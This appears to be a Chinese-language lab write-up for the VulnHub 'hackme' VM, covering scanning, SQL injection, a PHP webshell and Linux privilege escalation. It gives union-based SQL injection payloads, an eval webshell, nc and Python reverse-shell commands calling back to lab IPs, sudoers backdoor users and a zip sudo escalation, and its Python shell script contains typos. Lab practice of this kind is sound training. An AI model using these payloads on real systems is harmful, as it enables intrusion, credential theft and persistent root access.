这篇文章上次修改于 198 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

前期准备

下载地址:https://www.vulnhub.com/entry/hackme-1,330/

下载后得到一个hackme.ova文件,这个文件需要用VMware打开,打开VMware后,点击File选择open,找到hackme.ova文件打开后输入虚拟机的名称和存放位置,即可完成虚拟机的导入。

渗透步骤

准备

1、配置桥连网络,打开hakeme虚拟机后,再打开kali虚拟机。

信息收集

1、收集 IP
因为 kali 和 hakeme 虚拟机是桥连,所以两个虚拟机在同一网段。先使用 kali 进入命令行输入 ifconfig 确认 kali 的网段和IP地址。然后使用 kali 的 nmap工具进行主机存活扫描。

![[Pasted image 20240104121256.png]]

2、进行主机存活扫描之后,确定 hakeme 的ip地址,进行下一步信息收集,端口扫描。

![[Pasted image 20240104121338.png]]

3、端口扫描完成后进行目录扫描。

![[Pasted image 20240104121413.png]]

# kali 命令行

ifconfig

# 网段扫描
nmap -sP 192.168.2.0/24

# 端口扫描
nmap -sS -A -p- -T4 192.168.2.2

# 目录扫描
dirsearch -u "192.168.2.2"

找到漏洞点

通过目录扫描我们知道这几个有效网址

1、http://192.168.2.2/login.php
2、http://192.168.2.2/register.php
3、http://192.168.2.2/logout.php
4、http://192.168.2.2/welcome.php
5、http://192.168.2.2/config.php
6、http://192.168.2.2/uploads

先注册账号,然后进行登录。发现页面可能存在SQL注入。

进行SQL注入测试

1' OR 1=1; #
1' OR 1=1; --+
1' OR 1=1; %23

1" OR 1=1; #
1" OR 1=1; --+
1" OR 1=1; %23

1') OR 1=1; #
1') OR 1=1; --+
1') OR 1=1; %23

1") OR 1=1; #
1") OR 1=1; --+
1") OR 1=1; %23

1' union select 1,database(),3; #

1' union select 1,table_name,3 from information_schema.tables where table_schema = database(); #

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name='users'; #

1' union select 1,group_concat(user,'~',pasword),3 from users; #
数据库名:
    webapphacking

表名:
    books
    users

users 列名:
id,user,pasword,name,address

账号密码:
user1~5d41402abc4b2a76b9719d911017c592,user2~6269c4f71a55b24bad0f0267d9be5508,user3~0f359740bd1cda994f8b55330c86d845,test~05a671c66aefea124cc08b76ea6d30bb,superadmin~2386acb2cf356944177746fc92523983,test1~05a671c66aefea124cc08b76ea6d30bb,root~e10adc3949ba59abbe56e057f20f883e

md5解密
user1 - hello
user2 - commando
user3 - p@ssw0rd
test - testtest
test1 - testtest
superadmin - Uncrackable

使用超级管理员账号登陆后发现可以上传文件,这是上传一句话木马。

<?php phpinfo();eval($_POST['cmd']);?>

然后使用蚁剑或菜刀等工具进行连接,拿到shell。

蚁剑的使用
加载器下载:https://github.com/AntSwordProject/AntSword-Loader
源码下载:https://github.com/AntSwordProject/antSword

提升权限

首先使用 nc 获取反弹shell

# kali
nc -lvp 2333
靶机
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.2 2333 >/tmp/f

连接完成后需要使用pyhton伪终端命令,可以在伪终端执行sudo等命令

python -c "import pty;pty.spawn('/bin/bash')"

# 使用命令来发现设置了suid位的应用程序
find / -perm -u=s -type f 2>/dev/null

# 提权
cd /home/legacy

./touchmenot

# 查看有哪些用户
cat /etc/passwd | grep /bin/bash

# 添加root权限用户
sudo useradd -r -m -s /bin/bash admin
sudo passwd admin
sed -i '21 i admin    ALL=(ALL:ALL)    ALL' /etc/sudoers
sed '21 i admin    ALL=(ALL)    ALL' /etc/sudoers
echo "admin    ALL=(ALL)    ALL" >> /etc/sudoers.d/admin
chmod 0440 /etc/sudoers.d/admin
chmod u+w /etc/sudoers
vim /etc/sudoers
cat /etc/sudoers
# 添加 admin  ALL=(ALL:ALL)    ALL

# 添加用户名为xunmi的新用户,并且将默认命令行设置为bash(这个比较好用,默认是sh) 
useradd -s /bin/bash -m xunmi 
# 给xunmi用户设置密码(推荐设置一个简单点的,方便我们自己使用) 
passwd xunmi 
# 创建xunmi家目录 
mkdir /home/xunmi 
# 将权限移交给xunmi 
chown -R xunmi:xunmi /home/xunmi

内核漏洞提权

内核漏洞一般是首选考虑的,先查看是否可以使用内核漏洞进行提权。先对系统做个了解

#查看发行版本
cat /etc/issue
cat /etc/*-release
# 查看内核版本
uname -a

没有这个,所以没办法利用;如果存在可以利用的,那么使用方法就是

gcc xxx.c -o exploit
chmod +x exploit
./exploit

明文root密码提权

大多linux系统的密码都和/etc/passwd/etc/shadow这两个配置文件相关的;passwd里面储存了用户,shadow里面是密码的hash;且passwd是全用户可读,root可写。shadow是仅root可以进行读写的。
破解linux用户名和对应的密码

/etc/passwd  /etc/shadow
unshadow passwd shadow > cracked
john cracked

使用John这个工具来破解。
到kali中查看这两个文件,passwd可以查看,shadow是无法查看的

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,如果刚好遇到一个把其中脚本配置成可以任意用户可写的,这个时候就可以修改脚本等回连rootshell;如果定时执行的文件时python脚本,可以使用下面的脚本来替换之前的脚本。

#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

测试时查看/etc/crontab发现并没有可写权限的文件

密码复用

很多管理员会重读使用密码,因此数据库或者web后台的密码也许就是root密码。

有了疑似root密码,第一时间想到ssh登录,但是ssh很可能禁止root登录,或者是防火墙规则等因素排除。之前已经得到一个低权限的shell,但是直接在低权限里使用sudo是不奏效的。出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端,输入

python -c "import pty;pty.spawn('/bin/bash')"

可以看到是已经启动了虚拟终端
然后找到了一些信息,因为是靶场,而且是学习提权的,这个寻找信息的过程就不写了。
找到一个用户名为zico密码为sWfCsfJSPV9H3AmQzw8的一个用户。
而日是开放了ssh服务的,所以可以直接进行ssh登录。

ssh user@ip

看到了登录成功,密码正确。

利用zip进行提权
sudo -l查看了当前可以使用root提权的命令信息。
返回以下结果

Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip

可以使用zip进行提权

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

发现得到了root权限

总结:

  1. 内核漏洞
    在kali当中找相应版本的漏洞,看有无适应当前版本的可以利用的漏洞。
  2. 明文root密码
    要求拿到的用户,刚好有可以读取shadow和passwd文件的权限。
  3. 计划任务
    计划的任务修改执行对应的脚本可以获取root权限,待尝试~
  4. 密码复用
    已知其他用户的密码,可以推测root用户的密码也是相同的(PS:不得不说我自己的就是,我的kali普通用户和root用户设置的密码是一样的,因为懒)

权限维持:https://www.cnblogs.com/-mo-/p/12337766.html